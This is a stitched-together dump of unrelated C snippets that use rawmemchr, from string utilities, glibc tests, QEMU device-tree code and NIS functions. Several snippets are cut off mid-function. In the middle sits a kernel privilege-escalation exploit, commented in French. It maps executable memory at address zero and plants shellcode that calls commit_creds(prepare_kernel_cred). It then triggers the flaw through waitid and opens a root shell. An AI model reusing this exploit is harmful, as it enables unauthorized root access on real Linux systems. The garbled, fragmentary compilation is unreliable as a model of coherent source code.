static size_t strtrim(char *str) {
char *left = str, *right;
if (!str || *str == '\0')
return 0;
while (isspace((unsigned char)*left))
left++;
if (left != str) {
memmove(str, left, (strlen(left) + 1));
left = str;
}
if (*str == '\0')
return 0;
right = (char*)rawmemchr(str, '\0') - 1;
while (isspace((unsigned char)*right))
right--;
*++right = '\0';
return right - left;
}
unsigned int parse_time_period(const char *str, unsigned int default_value)
{
unsigned int total = 0;
unsigned int period;
char multiplier;
if (!str)
return default_value;
while (*str && sscanf(str, "%u%c", &period, &multiplier) == 2) {
switch (multiplier) {
case 's': total += period; break;
case 'm': total += period * ONE_MINUTE; break;
case 'h': total += period * ONE_HOUR; break;
case 'd': total += period * ONE_DAY; break;
case 'w': total += period * ONE_WEEK; break;
case 'M': total += period * ONE_MONTH; break;
case 'y': total += period * ONE_YEAR; break;
default:
lwan_status_warning("Ignoring unknown multiplier: %c",
multiplier);
}
str = (const char *)rawmemchr(str, multiplier) + 1;
}
return total ? total : default_value;
}
/* Parse S into tokens separated by characters in DELIM.
If S is NULL, the saved pointer in SAVE_PTR is used as
the next starting point. For example:
char s[] = "-abc-=-def";
char *sp;
x = strtok_r(s, "-", &sp); // x = "abc", sp = "=-def"
x = strtok_r(NULL, "-=", &sp); // x = "def", sp = NULL
x = strtok_r(NULL, "=", &sp); // x = NULL
// s = "abc\0-def\0"
*/
char * __strtok_r (char *s, const char *delim, char **save_ptr)
{
char *token;
if (s == NULL)
s = *save_ptr;
/* Scan leading delimiters. */
s += strspn (s, delim);
if (*s == '\0')
{
*save_ptr = s;
return NULL;
}
/* Find the end of the token. */
token = s;
s = strpbrk (token, delim);
if (s == NULL)
/* This token finishes the string. */
*save_ptr = rawmemchr (token, '\0');
else
{
/* Terminate the token and make *SAVE_PTR point past it. */
*s = '\0';
*save_ptr = s + 1;
}
return token;
}
void read_env(int conn)
{
int size;
void *name, *value;
void *headers = ns_reads(conn, &size);
void *str = headers;
void *end = headers + size;
while (str != end) {
name = str;
value = rawmemchr(str, '\0') + 1;
setenv(name, value, 1);
str = rawmemchr(value, '\0') + 1;
}
free(headers);
}
static char *remove_trailing_spaces(char *line)
{
char *end = rawmemchr(line, '\0');
for (end--; isspace(*end); end--);
*(end + 1) = '\0';
return line;
}
static void count_args(char *argv[], int *argc, size_t *arglen)
{
int i = 0;
while (argv[i])
i++;
*argc = i;
if (!i) {
*arglen = 0;
return;
}
*arglen = (size_t) rawmemchr(argv[i - 1], 0) -
(size_t) argv[0] + 1;
}
static void
prepare_text (struct file_data *current)
{
size_t buffered = current->buffered;
char *p = FILE_BUFFER (current);
if (buffered == 0 || p[buffered - 1] == '\n')
current->missing_newline = false;
else
{
p[buffered++] = '\n';
current->missing_newline = true;
}
if (!p)
return;
/* Don't use uninitialized storage when planting or using sentinels. */
memset (p + buffered, 0, sizeof (word));
if (strip_trailing_cr)
{
char *dst;
char *srclim = p + buffered;
*srclim = '\r';
dst = rawmemchr (p, '\r');
if (dst != srclim)
{
char const *src = dst;
do
{
*dst = *src++;
dst += ! (*dst == '\r' && *src == '\n');
}
while (src < srclim);
buffered -= src - dst;
}
}
current->buffered = buffered;
}
/**
* Splits a string by comma.
*
* string is the string to split, will be manipulated. Needs to be
* null-terminated.
* values is a char pointer array that will be filled with pointers to the
* splitted values in the string.
*
* Returns the number of values found in string.
*/
static inline int
_split_string(char *string, char **values)
{
int i = 0;
char *cursor = string;
char *end;
/* Get end of string */
end = (char *) rawmemchr(cursor, '\0');
values[i++] = cursor;
while (cursor != NULL && end - cursor > 0) {
cursor = (char *) memchr(cursor, ',', end - cursor);
if (NULL == cursor) {
break;
}
*cursor = '\0';
cursor++;
values[i++] = cursor;
}
return i;
}
nis_name
nis_local_directory (void)
{
static char __nisdomainname[NIS_MAXNAMELEN + 1];
if (__nisdomainname[0] == '\0')
{
if (getdomainname (__nisdomainname, NIS_MAXNAMELEN) < 0)
__nisdomainname[0] = '\0';
else
{
char *cp = rawmemchr (__nisdomainname, '\0');
/* Missing trailing dot? */
if (cp[-1] != '.')
{
*cp++ = '.';
*cp = '\0';
}
}
}
return __nisdomainname;
}
static char *find_line_end(char *line)
{
if (*line == '\0')
return line;
return (char *)rawmemchr(line, '\0') - 1;
}
static void fdt_init_node(void *args)
{
struct FDTInitNodeArgs *a = args;
char *node_path = a->node_path;
FDTMachineInfo *fdti = a->fdti;
g_free(a);
char *all_compats = NULL, *compat, *node_name, *next_compat;
int compat_len;
#ifdef FDT_GENERIC_UTIL_ERR_DEBUG
static int entry_index;
int this_entry = entry_index++;
#endif
DB_PRINT("enter %d %s\n", this_entry, node_path);
/* try instance binding first */
node_name = qemu_fdt_get_node_name(fdti->fdt, node_path);
if (!node_name) {
fprintf(stderr, "FDT: ERROR: nameless node: %s\n", node_path);
}
if (!fdt_init_inst_bind(node_path, fdti, node_name)) {
goto exit;
}
/* fallback to compatibility binding */
all_compats = qemu_fdt_getprop(fdti->fdt, node_path,
"compatible", &compat_len, false, NULL);
if (!all_compats) {
fprintf(stderr, "FDT: ERROR: no compatibility found for node %s/%s\n", node_path,
node_name);
DB_PRINT("exit %d\n", this_entry);
fdti->routinesPending--;
return;
}
compat = all_compats;
try_next_compat:
if (compat_len == 0) {
goto invalidate;
}
if (!fdt_init_compat(node_path, fdti, compat)) {
goto exit;
}
if (!fdt_init_qdev(node_path, fdti, compat)) {
goto exit;
}
next_compat = rawmemchr(compat, '\0');
compat_len -= (next_compat + 1 - compat);
if (compat_len > 0) {
*next_compat = ' ';
}
compat = next_compat+1;
goto try_next_compat;
invalidate:
fprintf(stderr, "FDT: Unsupported peripheral invalidated %s compatibilities %s\n",
node_name, all_compats);
qemu_fdt_setprop_string(fdti->fdt, node_path, "compatible",
"invalidated");
exit:
DB_PRINT("exit %d\n", this_entry);
if (!fdt_init_has_opaque(fdti, node_path)) {
fdt_init_set_opaque(fdti, node_path, NULL);
}
g_free(node_path);
g_free(all_compats);
fdti->routinesPending--;
return;
}
int main(int ac, char **av)
{
if (ac != 2) {
printf("./exploit kernel_offset\n");
printf("exemple = 0xffffffff81f3f45a");
return EXIT_FAILURE;
}
// 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions
prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
// have_canfork_callback offset <= rendre dynamique aussi
pid_t pid;
/* siginfo_t info; */
// 1 - Mapper la mmoire l'adresse 0x0000000000000000
printf("[+] Try to allocat 0x00000000...\n");
if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
printf("[-] Failed to allocat 0x00000000\n");
return -1;
}
printf("[+] Allocation success !\n");
/* memset(0, 0xcc, 4096); */
/*
movq rax, 0xffffffff81f3f45a
movq [rax], 0
mov rax, 0x4242424242424242
call rax
xor rax, rax
ret
replace 0x4242424242424242 by get_root
https://defuse.ca/online-x86-assembler.htm#disassembly
*/
unsigned char shellcode[] =
{ 0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, 0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 };
void **get_root_offset = rawmemchr(shellcode, 0x42);
(*get_root_offset) = get_root;
memcpy(0, shellcode, sizeof(shellcode));
/* strcpy(0, "\x48\x31\xC0\xC3"); // xor rax, rax; ret */
if(-1 == (pid = fork())) {
perror("fork()");
return EXIT_FAILURE;
}
if(pid == 0) {
_exit(0xDEADBEEF);
perror("son");
return EXIT_FAILURE;
}
siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);
waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);
// TRIGGER
pid = fork();
printf("fork_ret = %d\n", pid);
if (pid > 0)
get_shell();
return EXIT_SUCCESS;
}
static int
do_test (void)
{
int size = sysconf (_SC_PAGESIZE);
int nchars = size / sizeof (CHAR);
CHAR *adr;
CHAR *dest;
int result = 0;
adr = (CHAR *) mmap (NULL, 3 * size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANON, -1, 0);
dest = (CHAR *) mmap (NULL, 3 * size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (adr == MAP_FAILED || dest == MAP_FAILED)
{
if (errno == ENOSYS)
puts ("No test, mmap not available.");
else
{
printf ("mmap failed: %m");
result = 1;
}
}
else
{
int inner, middle, outer;
mprotect (adr, size, PROT_NONE);
mprotect (adr + 2 * nchars, size, PROT_NONE);
adr += nchars;
mprotect (dest, size, PROT_NONE);
mprotect (dest + 2 * nchars, size, PROT_NONE);
dest += nchars;
MEMSET (adr, L('T'), nchars);
/* strlen/wcslen test */
for (outer = nchars - 1; outer >= MAX (0, nchars - 128); --outer)
{
for (inner = MAX (outer, nchars - 64); inner < nchars; ++inner)
{
adr[inner] = L('\0');
if (STRLEN (&adr[outer]) != (size_t) (inner - outer))
{
printf ("%s flunked for outer = %d, inner = %d\n",
STRINGIFY (STRLEN), outer, inner);
result = 1;
}
adr[inner] = L('T');
}
}
/* strnlen/wcsnlen test */
for (outer = nchars; outer >= MAX (0, nchars - 128); --outer)
{
for (inner = MAX (outer, nchars - 64); inner < nchars; ++inner)
{
adr[inner] = L('\0');
if (STRNLEN (&adr[outer], inner - outer + 1)
!= (size_t) (inner - outer))
{
printf ("%s flunked for outer = %d, inner = %d\n",
STRINGIFY (STRNLEN), outer, inner);
result = 1;
}
adr[inner] = L('T');
}
}
for (outer = nchars; outer >= MAX (0, nchars - 128); --outer)
{
for (inner = MAX (outer, nchars - 64); inner <= nchars; ++inner)
{
if (STRNLEN (&adr[outer], inner - outer)
!= (size_t) (inner - outer))
{
printf ("%s flunked bounded for outer = %d, inner = %d\n",
STRINGIFY (STRNLEN), outer, inner);
result = 1;
}
}
}
/* strchr/wcschr test */
for (outer = nchars - 1; outer >= MAX (0, nchars - 128); --outer)
{
for (middle = MAX (outer, nchars - 64); middle < nchars; ++middle)
{
for (inner = middle; inner < nchars; ++inner)
{
adr[middle] = L('V');
adr[inner] = L('\0');
CHAR *cp = STRCHR (&adr[outer], L('V'));
if ((inner == middle && cp != NULL)
|| (inner != middle
&& (cp - &adr[outer]) != middle - outer))
{
printf ("%s flunked for outer = %d, middle = %d, "
"inner = %d\n",
STRINGIFY (STRCHR), outer, middle, inner);
result = 1;
}
adr[inner] = L('T');
adr[middle] = L('T');
}
}
}
/* Special test. */
adr[nchars - 1] = L('\0');
if (STRCHR (&adr[nchars - 1], L('\n')) != NULL)
{
printf ("%s flunked test of empty string at end of page\n",
STRINGIFY (STRCHR));
result = 1;
}
/* strrchr/wcsrchr test */
for (outer = nchars - 1; outer >= MAX (0, nchars - 128); --outer)
{
for (middle = MAX (outer, nchars - 64); middle < nchars; ++middle)
{
for (inner = middle; inner < nchars; ++inner)
{
adr[middle] = L('V');
adr[inner] = L('\0');
CHAR *cp = STRRCHR (&adr[outer], L('V'));
if ((inner == middle && cp != NULL)
|| (inner != middle
&& (cp - &adr[outer]) != middle - outer))
{
printf ("%s flunked for outer = %d, middle = %d, "
"inner = %d\n",
STRINGIFY (STRRCHR), outer, middle, inner);
result = 1;
}
adr[inner] = L('T');
adr[middle] = L('T');
}
}
}
/* memchr test */
for (outer = nchars - 1; outer >= MAX (0, nchars - 128); --outer)
{
for (middle = MAX (outer, nchars - 64); middle < nchars; ++middle)
{
adr[middle] = L('V');
CHAR *cp = MEMCHR (&adr[outer], L('V'), 3 * size);
if (cp - &adr[outer] != middle - outer)
{
printf ("%s flunked for outer = %d, middle = %d\n",
STRINGIFY (MEMCHR), outer, middle);
result = 1;
}
adr[middle] = L('T');
}
}
for (outer = nchars; outer >= MAX (0, nchars - 128); --outer)
{
CHAR *cp = MEMCHR (&adr[outer], L('V'), nchars - outer);
if (cp != NULL)
{
printf ("%s flunked for outer = %d\n",
STRINGIFY (MEMCHR), outer);
result = 1;
}
}
/* These functions only exist for single-byte characters. */
#ifndef WCSTEST
/* rawmemchr test */
for (outer = nchars - 1; outer >= MAX (0, nchars - 128); --outer)
{
for (middle = MAX (outer, nchars - 64); middle < nchars; ++middle)
{
adr[middle] = L('V');
CHAR *cp = rawmemchr (&adr[outer], L('V'));
if (cp - &adr[outer] != middle - outer)
{
printf ("%s flunked for outer = %d, middle = %d\n",
STRINGIFY (rawmemchr), outer, middle);
result = 1;
}
adr[middle] = L('T');
}
}
/* memrchr test */
for (outer = nchars - 1; outer >= MAX (0, nchars - 128); --outer)
{
for (middle = MAX (outer, nchars - 64); middle < nchars; ++middle)
{
adr[middle] = L('V');
CHAR *cp = memrchr (&adr[outer], L('V'), nchars - outer);
if (cp - &adr[outer] != middle - outer)
{
printf ("%s flunked for outer = %d, middle = %d\n",
STRINGIFY (memrchr), outer, middle);
result = 1;
}
adr[middle] = L('T');
}
}
for (outer = nchars; outer >= MAX (0, nchars - 128); --outer)
{
CHAR *cp = memrchr (&adr[outer], L('V'), nchars - outer);
if (cp != NULL)
{
printf ("%s flunked for outer = %d\n",
STRINGIFY (memrchr), outer);
result = 1;
}
}
#endif
/* strcpy/wcscpy test */
for (outer = nchars - 1; outer >= MAX (0, nchars - 128); --outer)
{
for (inner = MAX (outer, nchars - 64); inner < nchars; ++inner)
{
adr[inner] = L('\0');
if (STRCPY (dest, &adr[outer]) != dest
|| STRLEN (dest) != (size_t) (inner - outer))
{
printf ("%s flunked for outer = %d, inner = %d\n",
STRINGIFY (STRCPY), outer, inner);
result = 1;
}
adr[inner] = L('T');
}
}
/* strcmp/wcscmp tests */
for (outer = 1; outer < 32; ++outer)
for (middle = 0; middle < 16; ++middle)
{
MEMSET (adr + middle, L('T'), 256);
adr[256] = L('\0');
MEMSET (dest + nchars - outer, L('T'), outer - 1);
dest[nchars - 1] = L('\0');
if (STRCMP (adr + middle, dest + nchars - outer) <= 0)
{
printf ("%s 1 flunked for outer = %d, middle = %d\n",
STRINGIFY (STRCMP), outer, middle);
result = 1;
}
if (STRCMP (dest + nchars - outer, adr + middle) >= 0)
{
printf ("%s 2 flunked for outer = %d, middle = %d\n",
STRINGIFY (STRCMP), outer, middle);
result = 1;
}
}
/* strncmp/wcsncmp tests */
for (outer = 1; outer < 32; ++outer)
for (middle = 0; middle < 16; ++middle)
{
MEMSET (adr + middle, L('T'), 256);
adr[256] = L('\0');
MEMSET (dest + nchars - outer, L('T'), outer - 1);
dest[nchars - 1] = L('U');
for (inner = 0; inner < outer; ++inner)
{
if (STRNCMP (adr + middle, dest + nchars - outer, inner) != 0)
{
printf ("%s 1 flunked for outer = %d, middle = %d, "
"inner = %d\n",
STRINGIFY (STRNCMP), outer, middle, inner);
result = 1;
}
if (STRNCMP (dest + nchars - outer, adr + middle, inner) != 0)
{
printf ("%s 2 flunked for outer = %d, middle = %d, "
"inner = %d\n",
STRINGIFY (STRNCMP), outer, middle, inner);
result = 1;
}
}
if (STRNCMP (adr + middle, dest + nchars - outer, outer) >= 0)
{
printf ("%s 1 flunked for outer = %d, middle = %d, full\n",
STRINGIFY (STRNCMP), outer, middle);
result = 1;
}
if (STRNCMP (dest + nchars - outer, adr + middle, outer) <= 0)
{
printf ("%s 2 flunked for outer = %d, middle = %d, full\n",
STRINGIFY (STRNCMP), outer, middle);
result = 1;
}
}
/* strncpy/wcsncpy tests */
adr[nchars - 1] = L('T');
for (outer = nchars; outer >= MAX (0, nchars - 128); --outer)
{
size_t len;
for (len = 0; len < nchars - outer; ++len)
{
if (STRNCPY (dest, &adr[outer], len) != dest
|| MEMCMP (dest, &adr[outer], len) != 0)
{
printf ("outer %s flunked for outer = %d, len = %Zd\n",
STRINGIFY (STRNCPY), outer, len);
result = 1;
}
}
}
adr[nchars - 1] = L('\0');
for (outer = nchars - 1; outer >= MAX (0, nchars - 128); --outer)
{
for (inner = MAX (outer, nchars - 64); inner < nchars; ++inner)
{
size_t len;
adr[inner] = L('\0');
for (len = 0; len < nchars - outer + 64; ++len)
{
if (STRNCPY (dest, &adr[outer], len) != dest
|| MEMCMP (dest, &adr[outer],
MIN (inner - outer, len)) != 0
|| (inner - outer < len
&& STRLEN (dest) != (inner - outer)))
{
printf ("%s flunked for outer = %d, inner = %d, "
"len = %Zd\n",
STRINGIFY (STRNCPY), outer, inner, len);
result = 1;
}
if (STRNCPY (dest + 1, &adr[outer], len) != dest + 1
|| MEMCMP (dest + 1, &adr[outer],
MIN (inner - outer, len)) != 0
|| (inner - outer < len
&& STRLEN (dest + 1) != (inner - outer)))
{
printf ("%s+1 flunked for outer = %d, inner = %d, "
"len = %Zd\n",
STRINGIFY (STRNCPY), outer, inner, len);
result = 1;
}
}
adr[inner] = L('T');
}
}
/* stpcpy/wcpcpy test */
for (outer = nchars - 1; outer >= MAX (0, nchars - 128); --outer)
{
for (inner = MAX (outer, nchars - 64); inner < nchars; ++inner)
{
adr[inner] = L('\0');
if ((STPCPY (dest, &adr[outer]) - dest) != inner - outer)
{
printf ("%s flunked for outer = %d, inner = %d\n",
STRINGIFY (STPCPY), outer, inner);
result = 1;
}
adr[inner] = L('T');
}
}
/* stpncpy/wcpncpy test */
adr[nchars - 1] = L('T');
for (outer = nchars; outer >= MAX (0, nchars - 128); --outer)
{
size_t len;
for (len = 0; len < nchars - outer; ++len)
{
if (STPNCPY (dest, &adr[outer], len) != dest + len
|| MEMCMP (dest, &adr[outer], len) != 0)
{
printf ("outer %s flunked for outer = %d, len = %Zd\n",
STRINGIFY (STPNCPY), outer, len);
result = 1;
}
}
}
adr[nchars - 1] = L('\0');
for (outer = nchars - 1; outer >= MAX (0, nchars - 128); --outer)
{
for (middle = MAX (outer, nchars - 64); middle < nchars; ++middle)
{
adr[middle] = L('\0');
for (inner = 0; inner < nchars - outer; ++ inner)
{
if ((STPNCPY (dest, &adr[outer], inner) - dest)
!= MIN (inner, middle - outer))
{
printf ("%s flunked for outer = %d, middle = %d, "
"inner = %d\n",
STRINGIFY (STPNCPY), outer, middle, inner);
result = 1;
}
}
adr[middle] = L('T');
}
}
/* memcpy/wmemcpy test */
for (outer = nchars; outer >= MAX (0, nchars - 128); --outer)
for (inner = 0; inner < nchars - outer; ++inner)
if (MEMCPY (dest, &adr[outer], inner) != dest)
{
printf ("%s flunked for outer = %d, inner = %d\n",
STRINGIFY (MEMCPY), outer, inner);
result = 1;
}
/* mempcpy/wmempcpy test */
for (outer = nchars; outer >= MAX (0, nchars - 128); --outer)
for (inner = 0; inner < nchars - outer; ++inner)
if (MEMPCPY (dest, &adr[outer], inner) != dest + inner)
{
printf ("%s flunked for outer = %d, inner = %d\n",
STRINGIFY (MEMPCPY), outer, inner);
result = 1;
}
/* This function only exists for single-byte characters. */
#ifndef WCSTEST
/* memccpy test */
memset (adr, '\0', nchars);
for (outer = nchars; outer >= MAX (0, nchars - 128); --outer)
for (inner = 0; inner < nchars - outer; ++inner)
if (memccpy (dest, &adr[outer], L('\1'), inner) != NULL)
{
printf ("memccpy flunked full copy for outer = %d, inner = %d\n",
outer, inner);
result = 1;
}
for (outer = nchars - 1; outer >= MAX (0, nchars - 128); --outer)
for (middle = 0; middle < nchars - outer; ++middle)
{
memset (dest, L('\2'), middle + 1);
for (inner = 0; inner < middle; ++inner)
{
adr[outer + inner] = L('\1');
if (memccpy (dest, &adr[outer], '\1', middle + 128)
!= dest + inner + 1)
{
printf ("\
memccpy flunked partial copy for outer = %d, middle = %d, inner = %d\n",
outer, middle, inner);
result = 1;
}
else if (dest[inner + 1] != L('\2'))
{
printf ("\
memccpy copied too much for outer = %d, middle = %d, inner = %d\n",
outer, middle, inner);
result = 1;
}
adr[outer + inner] = L('\0');
}
char *
realpathat2(int dirfd, char *dirfdpath, const char *name, char *resolved,
struct stat *st)
{
char *rpath, *dest, extra_buf[PATH_MAX];
const char *start, *end, *rpath_limit;
int num_links = 0;
ptrdiff_t dirfdlen;
char *pathat;
/* If any of the additional parameters are null, or if the name to
resolve the real path is an absolute path, use the standard
realpath() routine. */
if (UNLIKELY(dirfd < 0 || dirfdpath == NULL || name[0] == '/'))
return realpath(name, resolved);
if (UNLIKELY(name == NULL)) {
/* As per Single Unix Specification V2 we must return an error if
either parameter is a null pointer. We extend this to allow
the RESOLVED parameter to be NULL in case the we are expected to
allocate the room for the return value. */
errno = EINVAL;
return NULL;
}
if (name[0] == '\0') {
if (UNLIKELY(fstat(dirfd, st) < 0))
return NULL;
if (LIKELY(!resolved))
return strdup(dirfdpath);
return strcpy(resolved, dirfdpath);
}
if (LIKELY(!resolved)) {
rpath = malloc(PATH_MAX);
if (UNLIKELY(!rpath))
return NULL;
} else
rpath = resolved;
rpath_limit = rpath + PATH_MAX;
strcpy(rpath, dirfdpath);
dest = rawmemchr(rpath, '\0');
dirfdlen = dest - rpath;
for (start = end = name; *start; start = end) {
int n;
/* Skip sequence of multiple path-separators. */
while (*start == '/')
++start;
/* Find end of path component. */
for (end = start; *end && *end != '/'; ++end)
/* Nothing. */ ;
if (end - start == 0)
break;
else if (end - start == 1 && start[0] == '.')
/* nothing */ ;
else if (end - start == 2 && start[0] == '.' && start[1] == '.') {
/* Back up to previous component, ignore if at root already. */
if (dest > rpath + 1)
while ((--dest)[-1] != '/');
} else {
size_t new_size;
if (dest[-1] != '/')
*dest++ = '/';
if (dest + (end - start) >= rpath_limit) {
ptrdiff_t dest_offset = dest - rpath;
char *new_rpath;
if (UNLIKELY(resolved != NULL)) {
errno = ENAMETOOLONG;
if (dest > rpath + 1)
dest--;
*dest = '\0';
goto error;
}
new_size = (size_t)(rpath_limit - rpath);
if (end - start + 1 > PATH_MAX)
new_size += (size_t)(end - start + 1);
else
new_size += PATH_MAX;
new_rpath = (char *) realloc(rpath, new_size);
if (UNLIKELY(new_rpath == NULL))
goto error;
rpath = new_rpath;
rpath_limit = rpath + new_size;
dest = rpath + dest_offset;
}
dest = mempcpy(dest, start, (size_t)(end - start));
*dest = '\0';
if (LIKELY(!strncmp(rpath, dirfdpath, (size_t)dirfdlen))) {
pathat = rpath + dirfdlen + 1;
if (*pathat == '\0')
pathat = rpath;
} else {
pathat = rpath;
}
if (UNLIKELY(fstatat(dirfd, pathat, st, AT_SYMLINK_NOFOLLOW) < 0))
goto error;
if (UNLIKELY(S_ISLNK(st->st_mode))) {
char buf[PATH_MAX];
size_t len;
if (UNLIKELY(++num_links > MAXSYMLINKS)) {
errno = ELOOP;
goto error;
}
n = (int)readlinkat(dirfd, pathat, buf, PATH_MAX - 1);
if (UNLIKELY(n < 0))
goto error;
buf[n] = '\0';
len = strlen(end);
if (UNLIKELY((long int) (n + (long int)len) >= PATH_MAX)) {
errno = ENAMETOOLONG;
goto error;
}
/* Careful here, end may be a pointer into extra_buf... */
memmove(&extra_buf[n], end, len + 1);
end = memcpy(extra_buf, buf, (size_t)n);
if (buf[0] == '/')
dest = rpath + 1; /* It's an absolute symlink */
else
/* Back up to previous component, ignore if at root already: */
if (dest > rpath + 1)
while ((--dest)[-1] != '/');
} else if (UNLIKELY(!S_ISDIR(st->st_mode) && *end != '\0')) {
errno = ENOTDIR;
goto error;
}
}
}
if (dest > rpath + 1 && dest[-1] == '/')
--dest;
*dest = '\0';
assert(resolved == NULL || resolved == rpath);
return rpath;
error:
assert(resolved == NULL || resolved == rpath);
if (resolved == NULL)
free(rpath);
return NULL;
}
int enpy(const char* input) {
for(char* p = &_binary_english_pinyin_start; p < &_binary_english_pinyin_end; p = rawmemchr(p,'\0')+1)
if(strcmp(p, input) == 0) return 1;
return 0;
}
static void fdt_init_node(void *args)
{
struct FDTInitNodeArgs *a = args;
char *node_path = a->node_path;
FDTMachineInfo *fdti = a->fdti;
g_free(a);
simple_bus_fdt_init(node_path, fdti);
char *all_compats = NULL, *compat, *node_name, *next_compat, *device_type;
int compat_len;
DB_PRINT_NP(1, "enter\n");
/* try instance binding first */
node_name = qemu_devtree_get_node_name(fdti->fdt, node_path);
DB_PRINT_NP(1, "node with name: %s\n", node_name ? node_name : "(none)");
if (!node_name) {
printf("FDT: ERROR: nameless node: %s\n", node_path);
}
if (!fdt_init_inst_bind(node_path, fdti, node_name)) {
DB_PRINT_NP(0, "instance bind successful\n");
goto exit;
}
/* fallback to compatibility binding */
all_compats = qemu_fdt_getprop(fdti->fdt, node_path, "compatible",
&compat_len, false, NULL);
if (!all_compats) {
DB_PRINT_NP(0, "no compatibility found\n");
}
for (compat = all_compats; compat && compat_len; compat = next_compat+1) {
char *compat_prefixed = g_strdup_printf("compatible:%s", compat);
if (!fdt_init_compat(node_path, fdti, compat_prefixed)) {
goto exit;
}
g_free(compat_prefixed);
if (!fdt_init_qdev(node_path, fdti, compat)) {
goto exit;
}
next_compat = rawmemchr(compat, '\0');
compat_len -= (next_compat + 1 - compat);
if (compat_len > 0) {
*next_compat = ' ';
}
}
device_type = qemu_fdt_getprop(fdti->fdt, node_path,
"device_type", NULL, false, NULL);
device_type = g_strdup_printf("device_type:%s", device_type);
if (!fdt_init_compat(node_path, fdti, device_type)) {
goto exit;
}
if (!all_compats) {
goto exit;
}
DB_PRINT_NP(0, "FDT: Unsupported peripheral invalidated - "
"compatibilities %s\n", all_compats);
qemu_fdt_setprop_string(fdti->fdt, node_path, "compatible", "invalidated");
exit:
DB_PRINT_NP(1, "exit\n");
if (!fdt_init_has_opaque(fdti, node_path)) {
fdt_init_set_opaque(fdti, node_path, NULL);
}
g_free(node_path);
g_free(all_compats);
return;
}
/* Find the first occurrence of C in S or the final NUL byte. */
char *
strchrnul (const char *s, int c_in)
{
/* On 32-bit hardware, choosing longword to be a 32-bit unsigned
long instead of a 64-bit uintmax_t tends to give better
performance. On 64-bit hardware, unsigned long is generally 64
bits already. Change this typedef to experiment with
performance. */
typedef unsigned long int longword;
const unsigned char *char_ptr;
const longword *longword_ptr;
longword repeated_one;
longword repeated_c;
unsigned char c;
c = (unsigned char) c_in;
if (!c)
return rawmemchr (s, 0);
/* Handle the first few bytes by reading one byte at a time.
Do this until CHAR_PTR is aligned on a longword boundary. */
for (char_ptr = (const unsigned char *) s;
(size_t) char_ptr % sizeof (longword) != 0;
++char_ptr)
if (!*char_ptr || *char_ptr == c)
return (char *) char_ptr;
longword_ptr = (const longword *) char_ptr;
/* All these elucidatory comments refer to 4-byte longwords,
but the theory applies equally well to any size longwords. */
/* Compute auxiliary longword values:
repeated_one is a value which has a 1 in every byte.
repeated_c has c in every byte. */
repeated_one = 0x01010101;
repeated_c = c | (c << 8);
repeated_c |= repeated_c << 16;
if (0xffffffffU < (longword) -1)
{
repeated_one |= repeated_one << 31 << 1;
repeated_c |= repeated_c << 31 << 1;
if (8 < sizeof (longword))
{
size_t i;
for (i = 64; i < sizeof (longword) * 8; i *= 2)
{
repeated_one |= repeated_one << i;
repeated_c |= repeated_c << i;
}
}
}
/* Instead of the traditional loop which tests each byte, we will
test a longword at a time. The tricky part is testing if *any of
the four* bytes in the longword in question are equal to NUL or
c. We first use an xor with repeated_c. This reduces the task
to testing whether *any of the four* bytes in longword1 or
longword2 is zero.
Let's consider longword1. We compute tmp =
((longword1 - repeated_one) & ~longword1) & (repeated_one << 7).
That is, we perform the following operations:
1. Subtract repeated_one.
2. & ~longword1.
3. & a mask consisting of 0x80 in every byte.
Consider what happens in each byte:
- If a byte of longword1 is zero, step 1 and 2 transform it into 0xff,
and step 3 transforms it into 0x80. A carry can also be propagated
to more significant bytes.
- If a byte of longword1 is nonzero, let its lowest 1 bit be at
position k (0 <= k <= 7); so the lowest k bits are 0. After step 1,
the byte ends in a single bit of value 0 and k bits of value 1.
After step 2, the result is just k bits of value 1: 2^k - 1. After
step 3, the result is 0. And no carry is produced.
So, if longword1 has only non-zero bytes, tmp is zero.
Whereas if longword1 has a zero byte, call j the position of the least
significant zero byte. Then the result has a zero at positions 0, ...,
j-1 and a 0x80 at position j. We cannot predict the result at the more
significant bytes (positions j+1..3), but it does not matter since we
already have a non-zero bit at position 8*j+7.
The test whether any byte in longword1 or longword2 is zero is equivalent
to testing whether tmp1 is nonzero or tmp2 is nonzero. We can combine
this into a single test, whether (tmp1 | tmp2) is nonzero.
This test can read more than one byte beyond the end of a string,
depending on where the terminating NUL is encountered. However,
this is considered safe since the initialization phase ensured
that the read will be aligned, therefore, the read will not cross
page boundaries and will not cause a fault. */
while (1)
{
longword longword1 = *longword_ptr ^ repeated_c;
longword longword2 = *longword_ptr;
if (((((longword1 - repeated_one) & ~longword1)
| ((longword2 - repeated_one) & ~longword2))
& (repeated_one << 7)) != 0)
break;
longword_ptr++;
}
char_ptr = (const unsigned char *) longword_ptr;
/* At this point, we know that one of the sizeof (longword) bytes
starting at char_ptr is == 0 or == c. On little-endian machines,
we could determine the first such byte without any further memory
accesses, just by looking at the tmp result from the last loop
iteration. But this does not work on big-endian machines.
Choose code that works in both cases. */
char_ptr = (unsigned char *) longword_ptr;
while (*char_ptr && (*char_ptr != c))
char_ptr++;
return (char *) char_ptr;
}
nis_error
nis_addmember (const_nis_name member, const_nis_name group)
{
if (group != NULL && group[0] != '\0')
{
size_t grouplen = strlen (group);
char buf[grouplen + 14 + NIS_MAXNAMELEN];
char domainbuf[grouplen + 2];
nis_result *res, *res2;
nis_error status;
char *cp, *cp2;
cp = rawmemchr (nis_leaf_of_r (group, buf, sizeof (buf) - 1), '\0');
cp = stpcpy (cp, ".groups_dir");
cp2 = nis_domain_of_r (group, domainbuf, sizeof (domainbuf) - 1);
if (cp2 != NULL && cp2[0] != '\0')
{
*cp++ = '.';
stpcpy (cp, cp2);
}
res = nis_lookup (buf, FOLLOW_LINKS | EXPAND_NAME);
